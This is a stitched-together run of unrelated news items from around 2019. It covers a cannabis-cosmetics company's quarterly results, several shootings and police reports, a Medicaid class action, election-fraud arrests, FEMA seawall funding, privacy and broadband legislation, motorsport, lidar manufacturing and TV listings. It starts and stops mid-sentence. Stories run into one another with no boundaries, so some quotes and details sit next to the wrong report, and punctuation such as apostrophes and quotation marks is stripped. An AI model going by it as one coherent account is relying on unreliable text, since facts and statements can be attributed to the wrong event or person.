December, 2018, our anti-aging serum in January 2019 and our 3 moisturizers launching near the end of the of the quarter in February 2019. The revenues for our products sales increased by 85% from the first month in the quarter to the third month. Since our financial quarter ended February 28, 2019, we have launched 6 more Urban Juve products, bringing the total number of SKUs for sale to 11. We anticipate launching 9 new products through the Wright and Well brand in Q2 and Q3, and with our aggressive marketing and sales efforts we expect our product revenues to increase substantially in Q2 and Q3. We incurred a net loss of $3,789,780 for the three months ended February 28, 2019 as compared to $638,347 for the same period of the prior year. The increase in loss was primarily driven by a decrease in licensing revenues and increased expenses. We incurred significant marketing expenses, which included marketing and packaging design for our brands with over 200 products in development, new websites in development for Urban Juve and Yield Growth launching in Q2, point of sales materials for our products, sales and educational materials to sign up retailers and support them in retail sales, preparation and attendance at cannabis focused events such as LIFT, social media, programmatic advertising, influencer programs, publicists, investor events, investor relations and digital marketing. We went public on stock exchanges in 3 countries in Q1 - including the CSE in Canada in December, the OTCQB in the United States in January and The Frankfurt Stock exchange in Germany in February, requiring significant investment into market awareness to launch into those markets CAPITAL RESOURCES As at February 28, 2019, we had cash of $3.7 million. The Company is authorized to issue an unlimited number of common shares. As at February 28, 2019, there were 87,054,140 common shares issued and outstanding. The Company also had 30,402,976 share purchase warrants with weighted average exercise price of $0.99 and 11,043,500 stock options with weighted average exercise price of $0.34. The Companys objective is to maintain a strong capital base to support the development of the business including the commercialization of 200 hemp and cannabis products through our existing brands and through licensing and continued development of our omnichannel international distribution platform. About The Yield Growth Corp. The Yield Growth Corp. develops, manufactures and distributes cannabis and hemp infused luxury product brands Urban Juve and Wright & Well and has a catalogue of over 200 wellness and beauty products in development. It intends to disrupt the international wellness market, which is a $4.2 Trillion Global Economy, according to the Global Wellness Institute, by connecting ancient healing with modern science and technology. Its management team has deep experience with global brands including Johnson & Johnson, Procter & Gamble, MAC Cosmetics, Skechers, Best Buy, Aritzia, Coca-Cola and Pepsi Corporation. Yield Growth serves mainstream luxury consumers who seek sophisticated wellness products. Its flagship consumer brand, Urban Juve, has proprietary, patent-pending hemp root oil extraction technology and formulas. Yield Growth is building sophisticated international distribution channels and has multiple revenue streams including licensing, services and product sales. For more information about Yield Growth, visit www.yieldgrowth.com or follow @yieldgrowth on Instagram. Visit www.urbanjuve.com and #findyourjuve across social platforms to learn, engage and shop. Investor Relations Contacts: Penny Green, President & CEO Kristina Pillon, Investor Relations invest @yieldgrowth.com 1-833-514-BOSS 1-833-514-2677 1-833-515-BOSS 1-833-515-2677 The Canadian Securities Exchange has not reviewed, approved or disapproved the content of this news release. Cautionary Statement Regarding Forward-Looking Statements This press release includes forward-looking information and statements (collectively, forward looking statements) under applicable Canadian securities legislation. Forward-looking statements are necessarily based upon a number of estimates, forecasts, beliefs and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such risks, uncertainties and factors include, but are not limited to: risks related to the development, testing, licensing, intellectual property protection, and sale of, and demand for, Urban Juve and UJ Topicals products, general business, economic, competitive, political and social uncertainties, delay or failure to receive board or regulatory approvals where applicable, and the state of the capital markets. Yield Growth cautions readers not to place undue reliance on forward-looking statements provided by Yield Growth, as such forward-looking statements are not a guarantee of future results or performance and actual results may differ materially. The forward-looking statements contained in this press release are made as of the date of this press release, and Yield Growth expressly disclaims any obligation to update or alter statements containing any forward-looking information, or the factors or assumptions underlying them, whether as a result of new information, future events or otherwise, except as required by law. A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/51bed967-f59e-414f-adc1-77eebfb276dd Mohammad Yasar, owner of BGs Express, said he was in the convenience stores bathroom when he heard the gunshot from outside late Thursday morning. My wife [Asma Yasar] was working the front, he said. She had stopped at the store - located at 16380 A. L. Philpott Highway, near Martinsville - planning to stay briefly. It was their daughter Amnas fourth birthday. Soon after hearing the shot, a woman who had just paid to pump gas came back in the store and told Asma Yasar to call police because someone had been shot. I said okay, Asma Yasar said in broken English. I called 911.Police quick come here. Emergency dispatchers received the call at 10:15 a.m. The husband and wife stepped outside and saw a man later identified as Mack Bradley Watkins, 55, of Spencer, lying in the parking lot, unable to speak. He was moving a little bit, Mohammad Yasar said. I seen him one or two times try to move his leg or arm. I tried to talk to him but he didnt say nothing. A Henry County Sheriffs deputy arrived about two minutes after the 911 call to find Watkins with a gunshot wound to his chest and tried to save him. Watkins died at the scene. The business video surveillance system recorded the incident, the store owners said. In it, the gunman remained in a van and spoke with Watkins, who stood outside the vehicle. At one point, Watkins began to turn as though he was trying to run away but was shot. The sheriffs office reports finding William Tyrone Matthews, 75, also of Spencer, slightly more than an hour later and roughly a mile down the road at Old Country Store. Virginia State Police spotted a vehicle matching the description of the suspect vehicle that had fled the scene, Maj. Eric Winn said. Henry County deputies caught up with the [state police] trooper and they initiated a traffic stop and took the suspect into custody. Matthews is charged with first-degree murder, use of a firearm in the commission of a felony and possession of a firearm after being convicted of a violent felony, the sheriffs office reports. He is currently being held in the Henry County Jail without bond. Both Watkins and Matthews were acquaintances, Winn said. A woman was with them at the time of the shooting. Asma Yasar thinks she was the woman who told her to call police. Winn said he believes the incident occurred after Matthews spotted Watkins pumping gas at BGs Express and stopped. Mohammad Yasar guessed that he had known Watkins for close to 20 years as a customer coming to the store. He was nice, the best person I ever see, the store owner said. He come in store, buy what he want, never bother nobody, quiet. He tried to help if somebody needed. He was a nice person. This is the second shooting that has happened at BGs Express on Philpott Highway this year. On Jan. 25, an unrelated shooting happened in the parking lot that stemmed from a fight over drugs, and a suspect is incarcerated awaiting trial. Despite both incidents being unrelated, Mohammad Yasar said he will soon close a back parking lot at the business because of his concerns over safety. Paul Collins reports for the Martinsville Bulletin. He can be reached at paul.collins@martinsvillebulletin.com A lawsuit challenging Wisconsin's rule denying Medicaid coverage for medically necessary transgender surgeries has become a class action that could benefit hundreds of affected residents.An estimated 5,000 transgender Wisconsin residents are enrolled in Medicaid. But only some of them suffer from gender dysphoria, and only a portion of those would desire gender-confirming surgeries and meet the medically necessary threshold for coverage of the treatment. Gender dysphoria refers to the range of conditions suffered by those who identify as a gender other than the one assigned at birth.Last summer, a federal judge in Madison issued a preliminary injunction ordering the state to cover surgeries for the two original plaintiffs, Cody Flack of Green Bay and Sara Ann Makenzie of Baraboo.Since then, two more transgender women, Marie Kelly, 38, of Milwaukee and Courtney Sherwin, 35, of Janesville, have joined the case as representatives of the class.In a new order Tuesday, U.S. District Judge William Conley certified the class action status of the case and extended the injunction to cover anyone in the class, pending the final outcome of the lawsuit. Metro Manila (CNN Philippines, April 26) CNN Philippines is hosting its one and only Senatorial Debate in this election season. It's the culmination of a series of seven forums that began in December. The Senatorial Debate will be held at the Quadricentennial Pavilion of the University of Santo Tomas, the same venue of the CNN Philippines Vice Presidential Debate in 2016. WHAT TIME DOES THE DEBATE START? The CNN Philippines Senatorial Debate will start at 5pm. WHO ARE THE MODERATORS? The Senatorial Debate will be moderated by Chief Anchor and Chief Correspondent Pia Hontiveros and Senior Anchor and Correspondent Pinky Webb. They will be joined by a panel composed of Senior Correspondent Ina Andolong, Correspondent Anjo Alimario, and Political Analyst Dindo Manhit. WHO ARE THE CANDIDATES IN THE SENATORIAL DEBATE? Gary Alejano Raffy Alunan Glenn Chong Neri Colmenares Bato de la Rosa Chel Diokno JV Ejercito Samira Gutoc Florin Hilbay Romy Macalintal Erin Tanada WHAT TYPES OF QUESTIONS WILL BE ASKED? Questions will be based on the three themes of the debate: Keeping Filipinos Safe Improving the Quality of Life of Filipinos Building for the Future of Filipinos CNN Philippines is gathering questions from the public through social media and consolidating them for the debate. HOW MUCH TIME DO CANDIDATES HAVE TO ANSWER A QUESTION? Senatorial candidates will have one minute to answer a question. They will be given another 30 seconds to reply to a follow-up question or for a rebuttal. HOW CAN I WATCH THE DEBATE? The CNN Philippine Senatorial Debate will air live on free-to-air Channel 9, Cignal TV Channel 10, Destiny Cable Channel 14, and Sky Cable Channel 14. It will also be live-streaming on CNNPhilippines.com, iFlix, HOOQ, and on our official Facebook page. Streaming starts at 4 pm with the pre-debate show anchored by Cherie Mercado. Ruth Cabal will host the post-debate program. Edinburg Mayor Richard Molina and his wife, Dalia, were arrested Thursday by the Election Fraud Unit of the Texas attorney general's office and accused of running a vote-harvesting scheme.In a statement, the attorney general's office said the couple had numerous voters in the border town of 90,000 in the Rio Grande Valley change their addresses to places where they didn't live, including an apartment complex owned by Molina. He defeated long-time incumbent Richard Garcia by 1,240 votes in 2017."Voter fraud is an affront to democracy and places the decision-making authority of the Texas electorate in the hands of those who have no right to make those choices," Paxton said.Molina denies any wrongdoing and does not plan to step down, Edinburg city spokeswoman Cary Zayas told the American-Statesman. He is working with his attorney and will release a personal statement early next week.Since last year, 18 people have been arrested in connection with the scheme. Those involved include paid campaign workers, officials said.Paxton blamed voter apathy on rigged elections and fixed outcomes and lauded Hidalgo County District Attorney Ricardo Rodriguez's commitment to election integrity on this case and others."My office will always do everything it can to protect the integrity of Texas elections and the rights of every legal voter to cast a ballot and have it counted accurately. No one is above the law," Paxton said.The Hidalgo County district attorney's office has been cooperating with Election Fraud Unit investigators and will prosecute Molina and his wife, Paxton's office said."My office is appreciative of the many witnesses who have come forward and cooperated with the investigation, explaining how they were lured by an ambitious candidate into participating in an illegal voting scheme to elect Richard Molina," Rodriguez said in the attorney general's statement. "We encourage any additional witnesses who were pressured to engage in fraudulent voting in Molina's election to step forward and cooperate with authorities.Molina was charged with engaging in organized election fraud and two counts of illegal voting and was released on bond. His wife was charged with illegal voting but also has been released.The Rio Grande Valley has been a particular point of focus in Texas conversations about voter fraud. Two-thirds of the 91 Texas election fraud cases prosecuted from state investigations between 2006 and 2016 were in counties south of San Antonio. Only four of them involved in-person voter impersonation. (TNS) The town of Kennebunk has received $1.8 million in funds from the Federal Emergency Management Agency (FEMA) to repair damage caused by two powerful nor'easters that crumbled part of the seawall and tore apart sections of the sidewalk and road at Middle and Gooch's Beach in March of 2018.Last June, President Donald Trump granted a disaster declaration for York County towns affected by the back-to-back storms that battered the coastline, causing nearly $1.5 million in damage in Kennebunk alone.Town officials met with officials from FEMA and the Maine Emergency Management Agency (MEMA) to survey the damage to the roads and seawall at Kennebunk Beach beginning last June, Town Engineer Chris Osterreider said.Beach Avenue and several adjoining residential streets saw significant flooding and storm damage during the relentless nor'easters that battered the Seacoast during the first weekend in March 2018. The Beach Avenue sidewalk collapsed in several areas, including a long stretch near the sharp corner by the Seaside Inn, leaving buckled asphalt with large holes underneath where the rocks and sand were washed away.The nor'easter coincided with an astronomical high tide, and each high tide cycle brought waves crashing over seawalls, and flood waters flowing over roadways and into low-lying residences and businesses.Repairs were done last spring in order to make the beaches and sidewalks safe for residents and visitors over the summer, but many of those repairs are temporary, said Town Manager Mike Pardue.Osterreider said the town received a higher total from FEMA than the original damage estimates because town officials were able to show that improving the way the seawall is repaired will increase the likelihood that it will last longer and withstand storms and sea level rise better.The stone revetment along Middle Beach washed away or was compromised in several places, according to Osterreider, prompting a change in the size of rocks that will be put in place when the revetment is rebuilt."Normally FEMA says you can put back what was there previously. But we were able to show them that larger rocks will perform better," Osterreider said.The stones used in the revetment along the seawall at Middle Beach will be removed and replaced with very large car sized stones as part of the upgraded repairs slated to begin this November, Osterreider said.The town was notified of the final FEMA figure last Thursday, and were given the green light to proceed with repairs. Both Osterreider and Pardue said the process of working with FEMA officials went very smoothly."There was a definite spirit of cooperation and they seemed to be really open to looking toward the future to mitigate future occurrences," Pardue said.At Gooch's Beach the steel seawall that runs from Narragansett Point to about Crescent Avenue will be extended all the way down to the elbow of Beach Avenue near the Seaside Inn, Osterreider said.He said the wooden timbers put in place as part of the seawall many years ago are at the end of their lifespan and would have had to be addressed soon anyway.The sidewalk at Gooch's Beach, which is currently asphalt, will be replaced with concrete.As part of the repairs, the town plans to make the beach more accessible with an ADA-compliant access ramp near the beach outhouses at Narragansett Point, Osterreider said."Currently access to the beach is limited, so we envision improving that on that corner," Pardue said. "This will have a lot of benefits to our residents and visitors."Pardue credited Osterreider and Public Works Director Brian Laverriere along with other town crew members with keeping meticulous and thorough records from the moment the storm clean-up began, which helped immensely with clearly identifying the damage and associated costs to present to FEMA."This process started with an assessment of the damages, and then moved to immediate repairs, and now with the help of FEMA we have a strong plan to mitigate future damage with enhanced repairs," Pardue said.Osterreider expects the work to begin at the beach in late fall and continue through the winter, with project completion anticipated for the 2020 summer season.2019 Portsmouth Herald, N.H.Visit Portsmouth Herald, N.H. at www.seacoastonline.com/portsmouthheraldDistributed by Tribune Content Agency, LLC. For optimal browsing, we recommend Chrome, Firefox or Safari browsers. (TNS) When the state Legislature passed the California Consumer Privacy Act last year, it touched a match to a tinderbox of concerns about how much of our personal information is outside the protection of federal laws. Now companies of all kinds are lining up to support federal data-privacy rules so long as those would pre-empt the CCPA and any similar state privacy laws.That upsets some privacy advocates and California representatives in Congress, who are threatening to take a hard-and-fast position that the CCPA must be insulated. Californias law is best, said Rep. Jackie Speier, D-Hillsborough. Why would we want to pre-empt it?As the first state law to regulate online privacy (its set to go into effect in January) and with that law coming from the nations most populous state, the CCPA will have widespread impact. But as a model for meeting the challenges of todays data explosion, it falls short of setting the gold standard. The right federal law can provide broader and stronger protection.Central to the CCPA are a right to know what information businesses collect about you and whether it is shared or sold, and a right to opt out from the sale of personal information. These elements increase individual control over personal data, but this exclusive focus on control is squarely in line with legacy laws and regulations that rest on faith in consumers making choices to protect their individual privacy.The effectiveness of this approach is becoming a mirage as the amount and pace of data collection keeps expanding. As Michelle Richardson of the advocacy group Center for Democracy and Technology explained in a recent Senate hearing, Existing privacy regimes including CCPA rely too heavily on the concept of notice and consent, placing an untenable burden on consumers and failing to rein in harmful data practices. Privacy experts widely believe that the law needs to shift the burden away from individuals and onto the businesses that collect personal information.If members of Congress pay attention to such testimony, they can protect personal information regardless of what choices the individuals make as they deal with todays digitized world. Federal law can do much better than the CCPA by requiring that business collect, use and share personal information in ways that protect the interests of the individuals affected.CCPA supporters want to keep other newly established consumer rights. In particular, under the state law, Californians have the right to access data about themselves, to correct this data, to have it deleted and to take it to another provider. These are important tools but they are likely to be included in any federal law; even the staunchest pro-business lobbyists, such as the U.S. Chamber of Commerce and the Business Roundtable, support including such rights in a federal privacy bill.The CCPA does include an individual right to sue companies, something Congress is unlikely to adopt. As currently framed, this right is limited to data breaches and not to other privacy violations, though that may change as the Legislature amends the law this year.Amendments would have to go a long way to fill the significant gaps left by the CCPAs focus on individual choice. A federal law can improve on the CCPA by placing boundaries on how businesses collect personal information in the first place and regulating its uses and practices beyond just ad tracking or sale of personal information. Only Congress has the power to regulate interstate commerce and apply these protections, as well as those in the CCPA, to people and businesses across the country.When the European Union adopted its privacy laws the General Data Protection Regulation it did so not only to raise the bar for personal-data privacy and security, but also to set the bar at a consistent level across all the member states and raise global competitiveness. But the EU law relies on agencies in each member state for enforcement. A federal law that authorizes the Federal Trade Commission and state attorneys general to enforce it would give the United States the strongest privacy enforcement regime in the world.Privacy advocates and the California congressional delegation should not assume that legislation preempting the CCPA and other state laws will diminish protection. A strong federal law could accomplish more than merely streamlining a patchwork of state laws. It could give all Americans a basis to trust that all personal information will be handled in ways consistent with their interests. Monument measure (TNS) Georgia Gov. Brian Kemp is set to sign a spate of measures on Friday designed to expand internet access to rural areas that now lack fast online services.The Republican will ink the broadband measures at a signing ceremony in Dahlonega, part of a stretch of mountainous north Georgia territory where residents have long complained about spotty connectivity.The measures aim to bring more competition to residents with few options. Windstream Holdings, which gets federal subsidies for providing online access to rural Georgians, recently filed for bankruptcy protections and has long been dogged by criticism.One proposal, Senate Bill 2 , will allow electric membership corporations to sell internet service along with power. And Senate Bill 17 lets telephone cooperatives to offer internet services.A third measure, Senate Bill 66 , allows telecom firms to set up 5G technology equipment on public land. That proposal, however, will primarily benefit large cities that are likely to receive faster cellphone internet service long before rural areas.While rural Georgia leaders welcomed the new broadband laws, they fell short of an initial goal of securing significant new state dollars to subsidize internet service in rural parts of the state without adequate technical infrastructure.Lawmakers tucked about $2 million into this years budget proposal for rural internet funding; some estimates project it will cost well over $1 billion to rewire the entire state.One idea to raise the money by imposing a sales tax on streaming services was blocked in the Legislature amid opposition from fiscal conservatives who saw it as an unnecessary hike. Others gained little traction, failing to win over Kemp and other GOP leaders.He and other politicians from both sides of the aisle have insisted that expanding online connectivity to rural areas is key to boosting economic development, increasing healthcare access and improving quality of life for the region.About 16 percent of Georgians lack access to high-speed internet service, and stories of schoolchildren who have had to go to fast-food restaurants to go online and complete their homework, and ailing residents who cant access tele-medicine services, have ping-ponged around the Capitol.At a small-business event on Thursday, Kemp said he would press for a broader expansion next year, but didnt say how he would do so.Weve moved the needle on broadband access in rural Georgia, he said. We have more to do, but its a great step in the right direction.The governor is also likely to ink another bill that will make it harder to relocate Confederate monuments at a separate event Friday, though his office declined comment.While the broadband measures enjoyed broad bipartisan support, the Confederate monument bill was a more divisive vote. It was introduced partly as a reaction to a flurry of proposals that would give local governments the right to remove Rebel monuments that went nowhere in the General Assembly.Instead, lawmakers narrowly passed a measure that would require local governments trying to relocate a monument to place it in a site of similar prominence. Senate Bill 77 would also impose stiffer penalties on vandals of monuments, requiring those convicted to pay up to three times the cost of the damage, legal fees and for the repair or replacement of a monument.That part of the measure was a key focus of supporters of the Republican-backed measure. State Rep. Alan Powell, the Hartwell Republican who sponsored the legislation, played a slideshow over emotional music that showed damaged monuments from past wars and other historic markers marred by graffiti. (TNS) A bill introduced in the Ohio House of Representatives this week would allow government entities, including the state government, to adopt blockchain technology.The legislation is the latest step in Ohios move toward building a legal framework for so-called distributed ledger and blockchain technology.Sponsor Ohio Rep. Rick Carfagna did not return calls for comment on the bill Thursday afternoon.Distributed ledger technology creates a decentralized online record for transactions. Blockchain is one form of distributed ledger technology.Government applications could include recording car titles or hunting licenses online, where they would be accessible through multiple agencies.Last spring, entrepreneur Bernie Moreno started a civic effort in Cleveland to make the city a blockchain hub. The city hosted the states first blockchain conference, Solutions, which sold out in December.Gov. John Kasich signed a cybersecurity bill in August 2018 which updated Ohios laws regarding electronic transactions to include blockchain-based transactions. The change provided legal support for businesses to use the technology, reported cleveland.com s Andrew J. Tobias.Ohio also became the first state to allow businesses to use cryptocurrency to pay their taxes in November 2018. That initiative came though then-Ohio Treasurer Josh Mandels office. When asked in November, current Treasurer Robert Sprague was noncommittal as to whether hell continue the program.Both Ohio Lt. Governor Jon Husted and Cuyahoga County Executive Armond Budish spoke about how startups can work with the government to solve problems at an event Thursday, reported cleveland.coms Courtney Astolfi FastForward Cuyahoga also featured a panel of startups who have used blockchain or other technology in partnership with local governments.About ten other states have passed blockchain-related legislation since 2016, according to the National Conference of State Legislatures. That includes Wyoming, which so far has passed 13 laws to try and make the state a center for blockchain technology, according to the Casper Star-Tribune (TNS) With the push of a button, Denver police officers can now blast an adhesive, soup-can-size GPS tracker at fleeing vehicles and remotely follow the cars from a phone app.It may seem like a tool Batman would use, but Denver police hope the technology will allow them to avoid dangerous pursuits of suspect vehicles. The department is testing a small number of the devices, said patrol chief Cmdr. Ron Thomas.We recognize the inherent danger of chases, Thomas said.The adhesive GPS unit is propelled by compressed air from a double-barrel launcher attached to the front bumper of a patrol car. The tracker sticks to the suspect vehicle as the officer backs off. A supervisor can then track the car with a phone app and plan a stop at a safer location.The tracking range of the device is quite large, and police will be able to track a car even if it moves dozens of miles away or into the next city, Thomas said.The pilot program started Monday and officers have used the device twice to track and recover stolen vehicles, Thomas said.While the GPS tag is not meant to injure, the department recognized that a projectile about the size of a soup can would hurt if it missed its intended target. Leaders developed policies to minimize that risk, including forbidding officers to use the tool to track motorcycles or convertibles.The Denver police operations manual states that the technology can be used for cases that involve a stolen vehicle or one believed to be driven by a person wanted on a felony warrant, as well as at a supervisors discretion.Police in Arvada and Aurora as well as many jurisdictions across the country already use similar systems, Thomas said.Nationally, about 355 people are killed every year in pursuit-related crashes, according to a 2017 study by the U.S. Bureau of Justice Statistics The department already follows strict pursuit policies, Thomas said. Denver police are not allowed to chase cars that drive away from a traffic stop, a suspected drunk driver or car thieves. Officers can only pursue if the driver is acting so dangerously that they are likely to hurt or kill someone immediately.Despite that policy, Denver police chases have led to deaths in recent years, including a man officers shot and killed because they mistakenly believed he was an escaped inmate The department paid Virginia company StarChase about $100,000 to equip patrol cars with the device for the pilot program, though department leaders would not say how many cars now have the device, department spokesman Sonny Jackson said. He said he didnt know how much it would cost if the department decides to expand the pilot program.It is an expensive piece of equipment but I think it will pay dividends, Thomas said.The device will only be used to apprehend suspects and not for long-term investigations, Thomas said.The American Civil Liberties Union approved of the device as long as it is used correctly and not for long-term monitoring. (TNS) Federal appellate judges have ruled parking enforcement officers are violating the constitutional rights of people when they mark vehicle tires with chalk, but new technology may make the practice obsolete.The ruling Monday by the U.S. Sixth Circuit Court of Appeals in Cincinnati reverses a lower courts decision in favor of Saginaw, Mich. where a woman filed a lawsuit after receiving her 15th parking ticket in a three-year period.The three-judge panel compared the practice of marking a tire with chalk to putting a GPS tracker on a vehicle without a warrant, which has been determined to be a violation of the Fourth Amendment protections against illegal search and seizure.The ultimate outcome of the case could change policies and practices in many communities across the state, including Xenia, where people who work downtown refer to the parking enforcement officer as Chalky.Xenia Capt. Chris Stutes said earlier this year city leaders decided to start using E-chalk, a handheld monitor that enables an officer to photograph a tire and use the air valve stem position to determine if a vehicle has been parked too long at a spot.Stutes said the system was ordered about three weeks ago, and it will be more efficient than physically marking a tire. He said they are also looking at what other communities are doing, such as marking the pavement beside a vehicle.By far the most complaints I receive are about parking, Stutes said. (Parking enforcement) is what keeps traffic flowing downtown and enables others to park.Xenia Law Director Donnette Fisher said the Michigan case is not over and there may be exceptions that would allow governments to continue chalking tires.The court decided that chalking a tire is an illegal search. Are there any exceptions to the warrant that would allow that? We dont know that yet, Fisher said.In some cases involving public safety, there are exceptions to the Fourth Amendment, such as when a disabled vehicle thats causing a traffic problem is towed away, Fisher said.People who work in downtown Xenia find ways to avoid parking citations, such as wiping off the chalk mark or rolling their vehicle forward or backward a few inches.Tim Sontag, owner of Xenia Shoe and Leather Repair on East Main Street, said the appellate courts ruling seemed like a stretch and he wonders if it will stick.I dont know what they would do to replace that exactly. I dont like meters because customers dont like meters. They just feel like its not welcoming, Sontag said. Even though some people will stay over their three-hour limit, most people dont. After a loose drain cover destroyed George Russell's chassis during Free Practice 1 in Azerbaijan, the organisation has come out to explain the issue, as they claim it was an "undetectable problem". FP1 came to a quick end after Russell ran over the drain cover, which was made loose after Charles Leclerc had already driven over it with one wheel without realising. Russell's chassis was ruined by the incident and needed replacing, which will mean he cannot participate in Free Practice 2 because of regulations. Read more Watch: George Russell drives over drain cover in FP1 "Although all safety and regulatory checks had been put in place beforehand, the resulting issue was caused due an undetectable problem beneath the fitting that only became apparent this afternoon," the organisation stated on their social media. "We have coordinated with FIA to secure a replacement cover and to check all other manholes on the circuit before racing can resume. Driver safety is always paramount and our main priority. With over 300 manholes on the circuit, this process will take some time." There was some more embarrassment following the incident, as the truck that was towing Russell's car back also ran into a bridge, leaking oil on the FW42. Well done Baku! Read more Watch: Recovery vehicle crashes into bridge when taking Williams back to pits Velodyne Lidar announced an agreement with Nikon Corporation, under which Sendai Nikon Corporation, a Nikon subsidiary, will manufacture lidar sensors for Velodyne with plans to start mass production in the second half of 2019. The partnership cements Velodynes manufacturing plan and expands its lead in the global lidar sensor market. Mass production of our high-performance lidar sensors is key to advancing Velodynes immediate plans to expand sales in North America, Europe, and Asia. With this partnership, Velodyne affirms its leadership role in designing, producing, and selling lidar for worldwide implementation. For years, Velodyne has been perfecting lidar technology to produce thousands of lidar units for autonomous vehicles (AVs) and advanced driver assistance systems (ADAS). It is our goal to produce lidar in the millions of units with manufacturing partners such as Nikon. Marta Hall, President and CBDO, Velodyne Lidar Velodyne is the leading supplier of lidar sensors to the automotive industry with more than 250 customers globally. Beyond AVs and ADAS, Velodyne will leverage Nikons mass manufacturing prowess as lidar sales expand within other emerging markets. Accelerated by its partnership with Nikon, Velodynes low cost lidar solutions will benefit a range of business segments, including robotics, security, mapping, agriculture, and unmanned aerial vehicles (UAVs). Nikon invested US$25 million in Velodyne last year and now aims to combine Nikons optical and precision technologies with Velodynes lidar sensor technology. Since the investment, both companies have been investigating a business alliance that includes collaboration in technology development and manufacturing. This manufacturing agreement represents the initial phase of the Velodyne/Nikon business alliance. The companies will continue to investigate further areas of a wide-ranging and multifaceted business alliance. Food-truck festival on Burke Street May 4 The Burke Street Spring Fling will be from noon to 6 p.m. Saturday, May 4, on Burke Street in downtown Winston-Salem. The Spring Fling is a food-truck festival that was organized after the Burke Street Food Truck Festival was canceled. The Spring Fling expects to have about 20 food trucks. Trucks will include Taste Jamaica, Lobster Dogs, Taqueria Lucianos, Porterhouse Burger Co. and Apple Babies Gourmet Candy Apples and Treats. It also will have live music, and beer will be sold. Beer ID wristbands cost $5. The live music lineup will be Six at Sundown (rock) at 2 p.m., Southern Eyes (rock, soul, country, blues) at 3:30 p.m.and Gipsy Danger (NewGrass) at 5 p.m. Part of the proceeds will go to the Second Harvest Food Bank of Northwest North Carolina and the Burke Street Beautification Project. Admission is free. For more information visit the Burke Street Spring Fling page on Facebook. Michael Hastings Say Yes to the Dress 6 p.m. (TLC) Cameras follow Amy, who still claims she feels overweight after losing more than 70 pounds. As Amy searches for a dress that makes her feel beautiful, bride Elona finds a gown thats even more beautiful and sexy than she ever could have imagined. Last Man Standing 8 p.m. (WGHP) When the family heads to the cabin for the weekend, Mike (Tim Allen) challenges the girls to stay off their phones for the duration in this new episode. Elsewhere, Jen (Krista Marie Yu) shadows Kyle (Christoph Sanders) at work for a school assignment. Hawaii Five-0 9 p.m. (WFMY) Former Navy SEAL Steve McGarrett (Alex OLoughlin) tackles crime on the sunny shores of Oahu in this updated version of the classic television series. McGarrett leads a federalized task force on a mission to wipe out dangerous criminals. Diners, Drive-Ins and Dives 9 p.m. (FOOD NETWORK) Host Guy Fieri heads north and crosses the border into Vancouver, British Columbia, Canada in this new episode. There, he checks out an elevated eatery that serves the ultimate in diner food, from confit duck to pancakes. Find extended listings and daily grids at www.greensboro.com/tv_week and in todays TV Week section in the News & Record. GREENSBORO A drive-by shooting a week ago terrified neighborhood residents and left one occupant shaking inside the house that was targeted, according to 911 calls. Ron Glenn, a spokesman for the Greensboro Police Department, said the gang-related incident occurred about 12:30 p.m. in the 3200 block of Creek Ridge Road. Three people were shot, according to a man inside the house who called 911. He said two of the people had multiple gunshot wounds. Glenn said one of the victims was taken to a hospital in critical condition. Currently, all three victims are listed in stable condition. After the shooting, residents of Creek Ridge Road flooded 911 with calls. There was just a rapid number of gunfire outside, a female caller said. Another caller described hearing a whole bunch of shots. I just got off work, she said. I was in here talking to my daughter and we just froze for a second because we just heard this round that went for 10 to 15 seconds. Police are looking for a missing Winston-Salem woman who was last seen Wednesday at a bus stop at 3890 Old Vineyard Road, authorities said Friday. Mickaala Faye Pratt, 33, had a doctor's appointment scheduled for Wednesday morning, but she didn't show up for the appointment, Winston-Salem police said. Pratt was last seen at 9 a.m. at the bus stop. Pratt is described as a black woman, standing 5 feet tall and weighing about 240 pounds, police said. Pratt, who is missing a right leg, uses a wheelchair. Pratt was last seen wearing a blue tights with yellow and pink flowers, police said. She normally wears her black and brown hair in a ponytail. Anyone with information about Pratt's whereabouts can call Winston-Salem police at 336-773-7700 or Crime Stoppers at 336 727-2800 and its Spanish line at 336-728-3904. While U.S. politicians are dithering about what to do about climate change, our neighbors to the north have taken a decisive step. The province of British Columbia began reducing carbon emissions in 2008 and, according to the provinces environment minister, it performed better than anyone expected. Against the common wisdom that such a tax would slow the economy, instead it grew faster than its neighbors as greenhouse gas emissions declined by some estimates as much as 15%. Big business came to widely endorse the policy, and the public was happy with the 1.7 billion Canadian dollars that were returned to families and businesses by 2016. Last year, taxing carbon emitters became federal law in Canada. Their experience is a rough model for what we can achieve through the Energy Innovation and Carbon Tax and Dividend bill (HR 763). It calls for assessing a fee on carbon emitters that would help cut carbon pollution by 40% in 10 years. The revenues would go into a Carbon Dividend Trust Fund that would distribute these monies monthly to all American citizens (https://energyinnovationact.org). Consider showing support by writing to your representatives in Congress. Marcia Horowitz Greensboro The defendant pulled a handgun out and fired a round at the officers, it states. He was then shot by the Greensboro Police and taken into custody. Davis was treated at a hospital and told police he had shot at them because he did not want to go back to jail. The defendant then told Danville police multiple stories. He said that he shot Anderson after an argument developed and he saw Anderson reaching for a gun. No gun was found at the crime scene and no evidence that any other weapon had been used, the document states. Davis also claimed he had shot Anderson in the front, but all the gunshots were all to his back, according to the document. Had the case gone to trial, the commonwealth contended witnesses would have testified that Davis shot Anderson as he ran away after the two had an argument over the treatment of the defendants wife, the document states. Davis, large in stature and sporting a beard, stayed quiet throughout the hearing except when he responded to Judge James J. Reynolds, who told him what his sentence could be. Alessandrini joined the Galaxy from Marseille in 2017 and became their best player. The attacking midfielder scored 24 goals in 50 games during his first two seasons with the five-time MLS champions, and he teamed well with Zlatan Ibrahimovic after the Swedish star arrived last season. One year after the state Department of Banking first accused an East Hartford mortgage company of operating illegally, there is still no sign of a hearing in a case the company CEO calls abusive regulation. But even as Connecticut banking regulators build their case, they have called or contacted auditors in at least a dozen states, urging them to step up or launch their own inquiries into the company, 1st Alliance Lending, according to the founder and CEO, John DiIorio. If true, and Ive confirmed some documentation of it, that would be highly unusual, inappropriate at best and perhaps an example of improper interference. The Department of Banking denies it has tried to influence any other state, even as DiIorio describes such interactions in detail. What the department is saying, in documents, is that it wants to revoke 1st Alliances license to operate in Connecticut. That would essentially shut down a company that does business in 46 states, all from its home office, and had 178 employees before the flap began. The company had plans to expand further with millions of dollars in aid from the state Department of Economic and Community Development. That expansion is now nixed as 1st Alliance is down to 62 employees, fighting for its life. A hearing was scheduled for Feb. 7, then postponed as the banking department sought more information claiming the company was not cooperating 